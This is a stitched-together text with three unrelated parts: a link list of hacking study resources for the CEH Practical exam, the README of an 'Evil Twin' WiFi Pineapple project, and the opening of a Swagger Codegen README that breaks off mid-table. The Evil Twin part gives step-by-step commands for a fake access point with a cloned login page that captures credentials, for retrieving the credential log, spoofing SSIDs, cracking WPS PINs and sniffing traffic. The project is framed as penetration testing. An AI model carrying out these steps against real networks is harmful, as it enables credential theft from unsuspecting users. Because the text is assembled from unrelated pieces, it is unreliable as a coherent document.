https://www.stationx.net/nmap-cheat-sheet/ https://media.x-ra.de/doc/NmapCheatSheetv1.1.pdf https://www.100security.com.br/netdiscover https://kalilinuxtutorials.com/netdiscover-scan-live-hosts-network/ https://www.youtube.com/watch?v=PS677owUk-c https://www.stationx.net/nmap-cheat-sheet/ https://redteamtutorials.com/2018/10/14/nmap-cheatsheet/ https://resources.infosecinstitute.com/nmap-cheat-sheet/#gref https://medium.com/@infosecsanyam/nmap-cheat-sheet-nmap-scanning-types-scanning-commands-nse-scripts-868a7bd7f692 https://resources.infosecinstitute.com/network-discovery-tool/#gref -------------------------------------------- ### **Enumeration** https://null-byte.wonderhowto.com/how-to/enumerate-smb-with-enum4linux-smbclient-0198049/ https://www.hackingarticles.in/a-little-guide-to-smb-enumeration/ https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html https://medium.com/@arnavtripathy98/smb-enumeration-for-penetration-testing-e782a328bf1b https://www.redsiege.com/blog/2020/04/user-enumeration-part-3-windows/ https://nmap.org/nsedoc/scripts/smb-enum-users.html https://github.com/sensepost/UserEnum -------------------------------------------- ### **Brute Force** https://linuxconfig.org/password-cracking-with-john-the-ripper-on-linux https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/ https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/ https://redteamtutorials.com/2018/10/25/hydra-brute-force-https/ https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-online-passwords-with-tamper-data-thc-hydra-0155374/ https://laconicwolf.com/2018/09/29/hashcat-tutorial-the-basics-of-cracking-passwords-with-hashcat/ https://medium.com/@sc015020/how-to-crack-passwords-with-john-the-ripper-fdb98449ff1 https://www.varonis.com/blog/john-the-ripper/ -------------------------------------------- ### **Wordlists** http://www.phenoelit.org/dpl/dpl.html https://datarecovery.com/rd/default-passwords/ https://github.com/Dormidera/WordList-Compendium https://github.com/danielmiessler/SecLists https://www.kaggle.com/wjburns/common-password-list-rockyoutxt -------------------------------------------- ### **SQL Injection** https://hackertarget.com/sqlmap-tutorial/ https://www.binarytides.com/sqlmap-hacking-tutorial/ https://www.hackingarticles.in/database-penetration-testing-using-sqlmap-part-1/ https://medium.com/@rafaelrenovaci/dvwa-solution-sql-injection-blind-sqlmap-cd1461ad336e https://medium.com/hacker-toolbelt/dvwa-1-9-viii-blind-sql-injection-with-sqlmap-ee8d59fbdea7 https://www.exploit-db.com/docs/english/13701-easy-methodblind-sql-injection.pdf https://gracefulsecurity.com/sql-injection-filter-evasion-with-sqlmap/ https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3 https://owasp.org/www-community/attacks/SQL_Injection_Bypassing_WAF https://www.1337pwn.com/use-sqlmap-to-bypass-cloudflare-waf-and-hack-website-with-sql-injection/ -------------------------------------------- ### **Steganography** https://resources.infosecinstitute.com/steganography-and-tools-to-perform-steganography/#gref https://flylib.com/books/en/1.36.1/steganography.html https://blog.eccouncil.org/what-is-steganography-and-what-are-its-popular-techniques/ https://www.edureka.co/blog/steganography-tutorial https://www.tutorialspoint.com/image-based-steganography-using-python https://medium.com/@KamranSaifullah/da-vinci-stenography-challenge-solution-90122a59822 https://medium.com/@chrisdare/steganography-in-computer-forensics-6d6e87d85c0a https://www.telegraph.co.uk/culture/art/art-news/8197896/Mona-Lisa-painting-contains-hidden-code.html https://medium.com/write-ups-hackthebox/tagged/steganography http://moinkhans.blogspot.com/2015/06/steghide-beginners-tutorial.html https://www.2daygeek.com/easy-way-hide-information-inside-image-and-sound-objects/ -------------------------------------------- ### **System Hacking** https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/ https://www.ivoidwarranties.tech/posts/pentesting-tuts/responder/cheatsheet/ https://blog.rapid7.com/2017/03/21/combining-responder-and-psexec-for-internal-penetration-tests/ https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/ https://medium.com/@hninja049/how-to-easy-find-exploits-with-searchsploit-on-linux-4ce0b82c82fd https://www.offensive-security.com/offsec/edb-searchsploit-update-2020/ https://www.youtube.com/watch?v=29GlfaH5qCM https://www.hackingloops.com/maintaining-access-metasploit/ https://resources.infosecinstitute.com/information-gathering-using-metasploit/ https://www.youtube.com/watch?v=s6rwS7UuMt8 https://null-byte.wonderhowto.com/how-to/exploit-eternalblue-windows-server-with-metasploit-0195413/ https://www.youtube.com/watch?v=joT8NxlXxVY https://attack.mitre.org/techniques/T1557/001/ https://www.youtube.com/watch?v=0TBCzaBklcE https://www.youtube.com/watch?v=FfoQFKhWUr0 https://www.youtube.com/watch?v=Fg2gvk0qgjM https://www.youtube.com/watch?v=rjRDsXp_MNk https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning https://medium.com/@subhammisra45/llmnr-poisoning-and-relay-5477949b7bef https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/ -------------------------------------------- ### **Web Scanners** https://blog.clusterweb.com.br/?p=1297 https://hackertarget.com/nikto-tutorial/ https://geekflare.com/nikto-webserver-scanner/ https://www.youtube.com/watch?v=K78YOmbuT48 https://blog.sucuri.net/2015/12/using-wpscan-finding-wordpress-vulnerabilities.html https://www.hackingtutorials.org/web-application-hacking/hack-a-wordpress-website-with-wpscan/ https://linuxhint.com/wpscan_wordpress_vulnerabilities_scan/ https://www.youtube.com/watch?v=SS991k5Alp0 https://www.youtube.com/watch?v=MtyhOrBfG-E https://www.youtube.com/watch?v=sQ4TtFdaiRA https://www.exploit-db.com/docs/english/45556-wordpress-penetration-testing-using-wpscan-and-metasploit.pdf?rss https://www.wpwhitesecurity.com/strong-wordpress-passwords-wpscan/ https://www.youtube.com/watch?v=BTGP5sZfJKY https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-5-creating-custom-wordlist-with-cewl-0158855/ https://medium.com/tech-zoom/dirb-a-web-content-scanner-bc9cba624c86 https://www.hackingarticles.in/comprehensive-guide-on-dirb-tool/ -------------------------------------------- ### **Sniffers** https://www.youtube.com/watch?v=TkCSr30UojM https://www.varonis.com/blog/how-to-use-wireshark/ https://hackertarget.com/wireshark-tutorial-and-cheat-sheet/ https://www.lifewire.com/wireshark-tutorial-4143298 https://www.comparitech.com/net-admin/wireshark-cheat-sheet/ https://medium.com/hacker-toolbelt/wireshark-filters-cheat-sheet-eacdc438969c https://github.com/security-cheatsheet/wireshark-cheatsheet https://www.cellstream.com/resources/2013-09-10-11-55-21/cellstream-public-documents/wireshark-related/83-wireshark-display-filter-cheat-sheet/file https://www.howtogeek.com/104278/how-to-use-wireshark-to-capture-filter-and-inspect-packets/ https://www.youtube.com/watch?v=4_7A8Ikp5Cc https://www.guru99.com/wireshark-passwords-sniffer.html https://danielmiessler.com/study/tcpdump/ https://hackertarget.com/tcpdump-examples/ https://opensource.com/article/18/10/introduction-tcpdump -------------------------------------------- ### **Reviews and Details CEH Practical** https://www.linkedin.com/pulse/my-jouney-ceh-practical-joas-antonio-dos-santos (My Review) https://forums.itpro.tv/topic/2604/ceh-practical/2 https://www.linkedin.com/pulse/considera%C3%A7%C3%B5es-sobre-o-exame-ceh-practical-leandro-cortiz/ https://infayer.com/archivos/65 https://medium.com/@jonaldallan/passed-ec-councils-certified-ethical-hacker-practical-20634b6f0f2 https://www.reddit.com/r/CEH/comments/c69fou/passed_ceh_practicalpost_exam_writeup/ https://www.reddit.com/r/CEH/comments/eeu3cx/ceh_practical_handson_exam_passed_with_2020_score/ https://www.reddit.com/r/CEH/comments/8wk2ve/ceh_vs_ceh_practical/ https://www.reddit.com/r/CEH/comments/dfa1y8/passed_ceh_practical/ https://www.reddit.com/r/CEH/comments/b1wgbs/ceh_v10_practical/ https://www.youtube.com/watch?v=ZYEo2AQdgcg https://www.youtube.com/watch?v=MEYjyr65bJE https://www.reddit.com/r/CEH/comments/ek0gzp/ceh_practical_passed_2020/ https://www.reddit.com/r/CEH/comments/evuztj/ceh_practical/ https://www.reddit.com/r/CEH/comments/f6t80r/can_ceh_practical_be_regarded_as_a/ https://www.reddit.com/r/CEH/comments/g6z6vn/just_passed_ceh_practical_1920/ https://medium.com/@jonathanchelmus/c-eh-practical-exam-review-42755546c82e https://www.reddit.com/r/CEH/comments/hk6880/passing_ceh_practical/ https://www.reddit.com/r/CEH/comments/f629zk/ceh_practical_vs_ejpt_vs_ecppt/ https://www.youtube.com/watch?v=o1u69KvSFmQ&list=PLmQBbrHGk7jQbsvF3_xJp720yaUgeYCkj https://www.youtube.com/watch?v=oYgtePf0z44 https://www.youtube.com/watch?v=9g5gdhoDotg&list=PLWGnVet-gN_kGHSHbWbeI0gtfYx3PnDZO https://www.youtube.com/watch?v=LHU0OFcWSBk https://medium.com/@mruur/ceh-practical-exam-review-918e76f831ff https://www.youtube.com/c/XanderBilla/videos https://www.youtube.com/watch?v=YZf5xmeaU58 https://newhorizons.com.sg/ceh-master/ https://www.iitlearning.com/certified-ethical-hacker-practical.php https://medium.com/@anontuttuvenus/ceh-practical-exam-review-185ea4cef82a https://www.cyberprotex.com/ceh.html https://www.infosec4tc.com/product/ceh-master-exam1-exam2-practical/ https://sysaptechnologies.com/certified-ethical-hacker-ceh-v10-practical/ https://jensoroger.wordpress.com/2019/02/09/oscp-ceh-practical/ https://khroot.com/2020/06/20/certified-ethical-hacker-practical-review/ https://github.com/Samsar4/Ethical-Hacking-Labs https://www.reddit.com/r/CEH/comments/jg0y6u/ceh_practical/ https://www.reddit.com/r/CEH/comments/dfa1y8/passed_ceh_practical/ https://www.reddit.com/r/CEH/comments/cgualo/ceh_practical_tell_me_about_it/ https://www.reddit.com/r/CEH/comments/c69fou/passed_ceh_practicalpost_exam_writeup/
# Evil Twin - Mark VI Learn how to set up a fake authentication web page on a fake WiFi network. Read the comments in these two files to get a better understanding on how all of it works: * [/src/evil-twin/index.php](https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi/src/evil-twin/index.php) * [/src/evil-twin/MyPortal.php](https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi/src/evil-twin/MyPortal.php) You can modify and expand this project to your liking. You have everything you need to get started. You can easily customize [CSS](https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi/src/evil-twin/css/main.css) to make it look more like the company you are testing, e.g. change colors, logo, etc. You can also use SingleFile ([Chrome](https://chrome.google.com/webstore/detail/singlefile/mpiodijhokgodhhofbcjdecpffjipkle))([FireFox](https://addons.mozilla.org/hr/firefox/addon/single-file)) browser extension to download a web page as a single HTML file, rename the file to `index.php`, and use it in the same template. Tested on WiFi Pineapple NANO with the firmware v2.7.0 and modules Evil Portal v3.2 and Cabinet v1.1. Additional set up and testing was done on Windows 10 Enterprise OS (64-bit) and Kali Linux v2022.2 (64-bit). Made for educational purposes. I hope it will help! In this project I also want to show you how to install and use WiFi Pineapple's modules through GUI, for more console attacks check my [WiFi penetration testing cheat sheet](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet). ## Table of Contents * [How to Set up a WiFi Pineapple](#how-to-set-up-a-wifi-pineapple) * [Windows OS](#windows-os) * [Kali Linux](#kali-linux) * [How to Run](#how-to-run) * [Spoof All SSIDs](#spoof-all-ssids) * [Remote Packet Capture With Kismet](#remote-packet-capture-with-kismet) * [Crack WPS PIN](#crack-wps-pin) * [Sniff WiFi Network Traffic](#sniff-wifi-network-traffic) * [Images](#images) ## How to Set Up the WiFi Pineapple In case you might need it, check [frimware recovery/upgrade](https://downloads.hak5.org/pineapple). ### Windows OS Follow the instructions below: 1. [Install Network Driver](https://www.techspot.com/drivers/driver/file/information/17792) 2. [Setup Basics](https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra/setup/setup-basics) 3. [Windows Setup](https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra/setup/wifi-pineapple-nano-windows-setup) ### Kali Linux Download and run the following script: ```bash wget https://downloads.hak5.org/api/devices/wifipineapplenano/tools/wp6.sh/1.0/linux -O wp6.sh && mv wp6.sh /usr/bin/wp6 && chmod +x /usr/bin/wp6 && wp6 ``` ## How to Run In WiFi Pineapple's dashboard go to `Modules -> Manage Modules -> Get Modules from Hak5 Community Repositories` and install `Evil Portal` and `Cabinet` modules, preferably to an SD card storage. Copy all the content from [\\src\\](https://github.com/ivan-sincek/evil-twin/tree/master/mark_vi/src) to WiFi Pineapple's `/sd/portals/` (preferred) or `/root/portals/` directory: ```fundamental scp -r evil-twin [email protected]:/sd/portals/evil-twin scp -r evil-twin [email protected]:/root/portals/evil-twin ``` Go to `Networking`, and set the `Open AP SSID` to your desired (portal) name. Go to `Filters`, and make sure both client and SSID filter lists are set to deny mode. In WiFi Pineapple's dashboard go to `Networking` and connect your WiFi Pineapple to a real working WiFi network in `WiFi Client Mode` section to tunnel network traffic back and forth from the Internet. In WiFi Pineapple's dashboard go to `Modules -> Evil Portal` and activate the portal, then, start `Captive Portal`. In WiFi Pineapple's dashboard go to `Modules -> Cabinet`, navigate to `/sd/logs/` or `/root/logs/` directory and click "Edit" on `evil_twin.log` to view the captured credentials. Download the log file through SSH: ```fundamental scp [email protected]:/sd/logs/evil_twin.log ./ scp [email protected]:/root/logs/evil_twin.log ./ ``` ### Spoof All SSIDs Hide the open access point. In WiFi Pineapple's dashboard go to `PineAP` and add desired (portal) names to `SSID Pool`, then, tick all the checkboxes to spoof all the access points in your range. --- Find out more about PineAP [here](https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra/getting-started/the-pineap-suite). Find out how to turn up your WiFi Pineapple's signal strength to missassociate clients to the fake WiFi network from my other [project](https://github.com/ivan-sincek/wifi-penetration-testing-cheat-sheet#1-configuration). Use filtering so you won't go out of your testing scope. ## Remote Packet Capture With Kismet Search for WiFi networks within your range and fetch their MAC address, vendor name, etc. On your Kali Linux, download some missing files, then, run Kismet's server: ```fundamental wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_httpd.conf -O /etc/kismet/kismet_httpd.conf wget https://raw.githubusercontent.com/kismetwireless/kismet/master/conf/kismet_manuf.txt.gz -O /etc/kismet/kismet_manuf.txt.gz kismet ``` Connect to your WiFi Pineapple (remote port forwarding) and install Kismet's remote capturing tool (to an SD card storage): ```bash ssh [email protected] -R 3501:localhost:3501 opkg update && opkg -d sd install kismet-remotecap-hak5 ``` After the installation, create missing symbolic links: ```fundamental ln -s /sd/usr/lib/libgpg-error.so.0.27.0 /usr/lib/libgpg-error.so.0 ln -s /sd/usr/lib/libgcrypt.so.20.2.5 /usr/lib/libgcrypt.so.20 ln -s /sd/usr/lib/libgnutls.so.30.28.1 /usr/lib/libgnutls.so.30 ln -s /sd/usr/lib/libmicrohttpd.so.12.49.0 /usr/lib/libmicrohttpd.so ln -s /sd/usr/lib/libmicrohttpd.so.12.49.0 /usr/lib/libmicrohttpd.so.12 ln -s /sd/usr/lib/libcap.so.2 /usr/lib/libcap.so ln -s /sd/usr/lib/libcap.so.2.27 /usr/lib/libcap.so.2 ln -s /sd/usr/lib/libprotobuf-c.so.1.0.0 /usr/lib/libprotobuf-c.so.1 ln -s /sd/usr/lib/libdw-0.177.so /usr/lib/libdw.so.1 ``` Connect Kismet's remote capturing tool to Kismet's server: ```fundamental airmon-ng start wlan0 kismet_cap_linux_wifi --connect localhost:3501 --source wlan0mon ``` On your Kali Linux, navigate to Kismet's dashboard (`http://localhost:2501`) with your preferred web browser. ## Crack WPS PIN In WiFi Pineapple's dashboard go to `Modules -> Manage Modules -> Get Modules from Hak5 Community Repositories` and install `wps` module (to an SD card storage). On your WiFi Pineapple, install required packages (to the internal storage): ```bash opkg update && opkg install libpcap ``` In WiFi Pineapple's dashboard go to `Modules -> wps`, install the required dependencies (to an SD card storage) and start cracking. ## Sniff WiFi Network Traffic Once you get an access to a WiFi network, start capturing network packets. In WiFi Pineapple's dashboard go to `Modules -> Manage Modules -> Get Modules from Hak5 Community Repositories` and install `tcpdump` module (to an SD card storage). In WiFi Pineapple's dashboard go to `Modules -> tcpdump`, install the required dependencies (to an SD card storage) and start capturing packets. You can download the PCAP file from `History` section. You can also pipe `tcpdump` from WiFi Pineapple directly to Wireshark: ```bash ssh [email protected] tcpdump -U -i wlan0mon -w - | wireshark -k -i - ``` On Windows OS you might need to specify a full path to the executable. ## Images <p align="center"><img src="https://github.com/ivan-sincek/evil-twin/blob/master/img/landing_page_pc.jpg" alt="Landing Page (PC)"></p> <p align="center">Figure 1 - Landing Page (PC)</p> <p align="center"><img src="https://github.com/ivan-sincek/evil-twin/blob/master/img/landing_page_mobile.jpg" alt="Landing Page (Mobile)"></p> <p align="center">Figure 2 - Landing Page (Mobile)</p> <p align="center"><img src="https://github.com/ivan-sincek/evil-twin/blob/master/mark_vi/img/log.jpg" alt="Log"></p> <p align="center">Figure 3 - Log</p>
# <img src="https://raw.githubusercontent.com/swagger-api/swagger.io/wordpress/images/assets/SWC-logo-clr.png" height="80"> [![Build Status](https://img.shields.io/jenkins/build.svg?jobUrl=https://jenkins.swagger.io/job/oss-swagger-core-master-java-8)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-core-master-java-8) [![Build Status](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-master/badge/icon?subject=jenkins%20build)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-master/) [![Build Status](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-master-java7/badge/icon?subject=jenkins%20build%20-%20java%207)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-master-java7/) - Master (2.4.11-SNAPSHOT): [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/master.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Java Test](https://img.shields.io/jenkins/build.svg?jobUrl=https://jenkins.swagger.io/job/oss-swagger-codegen-master)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-master) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=master&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/swaggerhub-bot/swagger-codegen) - 3.0.15-SNAPSHOT: [![Build Status](https://img.shields.io/travis/swagger-api/swagger-codegen/3.0.0.svg?label=Petstore%20Integration%20Test)](https://travis-ci.org/swagger-api/swagger-codegen) [![Java Test](https://img.shields.io/jenkins/build.svg?jobUrl=https://jenkins.swagger.io/job/oss-swagger-codegen-3)](https://jenkins.swagger.io/view/OSS%20-%20Java/job/oss-swagger-codegen-3) [![Windows Test](https://ci.appveyor.com/api/projects/status/github/swagger-api/swagger-codegen?branch=3.0.0&svg=true&passingText=Windows%20Test%20-%20OK&failingText=Windows%20Test%20-%20Fails)](https://ci.appveyor.com/project/swaggerhub-bot/swagger-codegen) [Maven Central](https://maven-badges.herokuapp.com/maven-central/io.swagger/swagger-codegen-project) :star::star::star: If you would like to contribute, please refer to [guidelines](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md) and a list of [open tasks](https://github.com/swagger-api/swagger-codegen/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22).:star::star::star: :notebook_with_decorative_cover: For more information, please refer to the [Wiki page](https://github.com/swagger-api/swagger-codegen/wiki) and [FAQ](https://github.com/swagger-api/swagger-codegen/wiki/FAQ) :notebook_with_decorative_cover: :warning: If the OpenAPI/Swagger spec is obtained from an untrusted source, please make sure you've reviewed the spec before using Swagger Codegen to generate the API client, server stub or documentation as [code injection](https://en.wikipedia.org/wiki/Code_injection) may occur :warning: :rocket: ProductHunt: https://producthunt.com/posts/swagger-codegen :rocket: :notebook_with_decorative_cover: The eBook [A Beginner's Guide to Code Generation for REST APIs](https://gumroad.com/l/swagger_codegen_beginner) is a good starting point for beginners. ## Versioning **NOTE:** version 2.X (`io.swagger`) and 3.X (`io.swagger.codegen.v3`) have **different** group ids. 2.X and 3.X version lines of Swagger Codegen are available; 2.X (`master` branch) supports Swagger/OpenAPI version 2, while 3.X ([`3.0.0` branch](https://github.com/swagger-api/swagger-codegen/tree/3.0.0)) supports OpenAPI version 3 (and version 2 via spec conversion to version 3). [Online generator of version 3.X](https://github.com/swagger-api/swagger-codegen/tree/3.0.0#online-generators) supports both generation from Swagger/OpenAPI version 2 (by using engine + generators of 2.X) and version 3 specifications. **NOTE:** this document refers to version 2.X, check [here](https://github.com/swagger-api/swagger-codegen/tree/3.0.0) for 3.X. ### Swagger Codegen 2.X ([`master` branch](https://github.com/swagger-api/swagger-codegen/tree/master)) Swagger Codegen 2.X supports Swagger/OpenAPI version 2. group id: `io.swagger` maven central (maven plugin): https://mvnrepository.com/artifact/io.swagger/swagger-codegen-maven-plugin dependency example: ``` <dependency> <groupId>io.swagger</groupId> <artifactId>swagger-codegen-maven-plugin</artifactId> <version>2.4.10</version> </dependency> ``` ### Swagger Codegen 3.X ([`3.0.0` branch](https://github.com/swagger-api/swagger-codegen/tree/3.0.0)) Swagger Codegen 2.X supports OpenAPI version 3 (and version 2 via spec conversion to version 3) [Online generator of version 3.X](https://github.com/swagger-api/swagger-codegen/tree/3.0.0#online-generators) supports both generation from Swagger/OpenAPI version 2 (by using engine + generators of 2.X) and version 3 specifications. group id: `io.swagger.codegen.v3` maven central: https://mvnrepository.com/artifact/io.swagger.codegen.v3 dependency example: ``` <dependency> <groupId>io.swagger.codegen.v3</groupId> <artifactId>swagger-codegen-maven-plugin</artifactId> <version>3.0.14</version> </dependency> ``` ## Overview This is the Swagger Codegen project, which allows generation of API client libraries (SDK generation), server stubs and documentation automatically given an [OpenAPI Spec](https://github.com/OAI/OpenAPI-Specification). Currently, the following languages/frameworks are supported: - **API clients**: **ActionScript**, **Ada**, **Apex**, **Bash**, **C#** (.net 2.0, 3.5 or later), **C++** (cpprest, Qt5, Tizen), **Clojure**, **Dart**, **Elixir**, **Elm**, **Eiffel**, **Erlang**, **Go**, **Groovy**, **Haskell** (http-client, Servant), **Java** (Jersey1.x, Jersey2.x, OkHttp, Retrofit1.x, Retrofit2.x, Feign, RestTemplate, RESTEasy, Vertx, Google API Client Library for Java, Rest-assured), **Kotlin**, **Lua**, **Node.js** (ES5, ES6, AngularJS with Google Closure Compiler annotations) **Objective-C**, **Perl**, **PHP**, **PowerShell**, **Python**, **R**, **Ruby**, **Rust** (rust, rust-server), **Scala** (akka, http4s, swagger-async-httpclient), **Swift** (2.x, 3.x, 4.x, 5.x), **Typescript** (Angular1.x, Angular2.x, Fetch, jQuery, Node) - **Server stubs**: **Ada**, **C#** (ASP.NET Core, NancyFx), **C++** (Pistache, Restbed), **Erlang**, **Go**, **Haskell** (Servant), **Java** (MSF4J, Spring, Undertow, JAX-RS: CDI, CXF, Inflector, RestEasy, Play Framework, [PKMST](https://github.com/ProKarma-Inc/pkmst-getting-started-examples)), **Kotlin**, **PHP** (Lumen, Slim, Silex, [Symfony](https://symfony.com/), [Zend Expressive](https://github.com/zendframework/zend-expressive)), **Python** (Flask), **NodeJS**, **Ruby** (Sinatra, Rails5), **Rust** (rust-server), **Scala** ([Finch](https://github.com/finagle/finch), [Lagom](https://github.com/lagom/lagom), Scalatra) - **API documentation generators**: **HTML**, **Confluence Wiki** - **Configuration files**: [**Apache2**](https://httpd.apache.org/) - **Others**: **JMeter** Check out [OpenAPI-Spec](https://github.com/OAI/OpenAPI-Specification) for additional information about the OpenAPI project. # Table of contents - [Swagger Code Generator](#swagger-code-generator) - [Overview](#overview) - [Table of Contents](#table-of-contents) - Installation - [Compatibility](#compatibility) - [Prerequisites](#prerequisites) - [OS X Users](#os-x-users) - [Building](#building) - [Docker](#docker) - [Development in Docker](#development-in-docker) - [Run docker in Vagrant](#run-docker-in-vagrant) - [Public pre-built Docker images](#public-pre-built-docker-images) - [Homebrew](#homebrew) - [Getting Started](#getting-started) - Generators - [To generate a sample client library](#to-generate-a-sample-client-library) - [Generating libraries from your server](#generating-libraries-from-your-server) - [Modifying the client library format](#modifying-the-client-library-format) - [Making your own codegen modules](#making-your-own-codegen-modules) - [Where is Javascript???](#where-is-javascript) - [Generating a client from local files](#generating-a-client-from-local-files) - [Customizing the generator](#customizing-the-generator) - [Validating your OpenAPI Spec](#validating-your-openapi-spec) - [Generating dynamic html api documentation](#generating-dynamic-html-api-documentation) - [Generating static html api documentation](#generating-static-html-api-documentation) - [To build a server stub](#to-build-a-server-stub) - [To build the codegen library](#to-build-the-codegen-library) - [Workflow Integration](#workflow-integration) - [Maven Integration](#maven-integration) - [Gradle Integration](#gradle-integration) - [Github Integration](#github-integration) - [Online Generators](#online-generators) - [Guidelines for Contribution](https://github.com/swagger-api/swagger-codegen/blob/master/CONTRIBUTING.md#guidelines-for-contributing) - [Companies/Projects using Swagger Codegen](#companiesprojects-using-swagger-codegen) - [Presentations/Videos/Tutorials/Books](#presentationsvideostutorialsbooks) - [Swagger Codegen Core Team](#swagger-codegen-core-team) - [Swagger Codegen Technical Committee](#swagger-codegen-technical-committee) - [License](#license) ## Compatibility The OpenAPI Specification has undergone 3 revisions since initial creation in 2010. The Swagger Codegen project has the following compatibilities with the OpenAPI Specification: Swagger Codegen Version | Release Date | OpenAPI Spec compatibility | Notes -------------------------- | ------------ | -------------------------- | ----- 3.0.15-SNAPSHOT (current 3.0.0, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/codegen/v3/swagger-codegen-cli/3.0.15-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0, 3.0 | Minor release [3.0.14](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.14) (**current stable**) | 2019-11-16 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.14](https://github.com/swagger-api/swagger-codegen/tree/v3.0.14) [3.0.13](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.13) | 2019-10-16 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.13](https://github.com/swagger-api/swagger-codegen/tree/v3.0.13) [3.0.12](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.12) | 2019-10-14 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.12](https://github.com/swagger-api/swagger-codegen/tree/v3.0.12) [3.0.11](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.11) | 2019-08-24 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.11](https://github.com/swagger-api/swagger-codegen/tree/v3.0.11) [3.0.10](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.10) | 2019-07-11 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.10](https://github.com/swagger-api/swagger-codegen/tree/v3.0.10) [3.0.9](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.9) | 2019-06-28 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.9](https://github.com/swagger-api/swagger-codegen/tree/v3.0.9) [3.0.8](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.8) | 2019-04-25 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.8](https://github.com/swagger-api/swagger-codegen/tree/v3.0.8) [3.0.7](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.7) | 2019-03-26 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.7](https://github.com/swagger-api/swagger-codegen/tree/v3.0.7) [3.0.5](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.5) | 2019-02-18 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.5](https://github.com/swagger-api/swagger-codegen/tree/v3.0.5) [3.0.4](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.4) | 2019-01-16 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.4](https://github.com/swagger-api/swagger-codegen/tree/v3.0.4) [3.0.3](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.3) | 2018-11-30 | 1.0, 1.1, 1.2, 2.0, 3.0 | [tag v3.0.3](https://github.com/swagger-api/swagger-codegen/tree/v3.0.3) [3.0.2](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.2)| 2018-10-19 | 1.0, 1.1, 1.2, 2.0, 3.0 | Minor release [3.0.1](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.1)| 2018-10-05 | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes [3.0.0](https://github.com/swagger-api/swagger-codegen/releases/tag/v3.0.0)| 2018-09-06 | 1.0, 1.1, 1.2, 2.0, 3.0 | Major release with breaking changes 2.4.11-SNAPSHOT (current master, upcoming minor release) [SNAPSHOT](https://oss.sonatype.org/content/repositories/snapshots/io/swagger/swagger-codegen-cli/2.4.11-SNAPSHOT/)| TBD | 1.0, 1.1, 1.2, 2.0 | Minor release [2.4.10](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.10) (**current stable**) | 2019-11-16 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.10](https://github.com/swagger-api/swagger-codegen/tree/v2.4.10) [2.4.9](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.9) | 2019-10-14 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.9](https://github.com/swagger-api/swagger-codegen/tree/v2.4.9) [2.4.8](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.8) | 2019-08-24 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.8](https://github.com/swagger-api/swagger-codegen/tree/v2.4.8) [2.4.7](https://github.com/swagger-api/swagger-codegen/releases/tag/v2.4.7) | 2019-07-11 | 1.0, 1.1, 1.2, 2.0 | [tag v2.4.7](https://github.com/swagger-api/swagger-codegen/tree/v2.4.7) 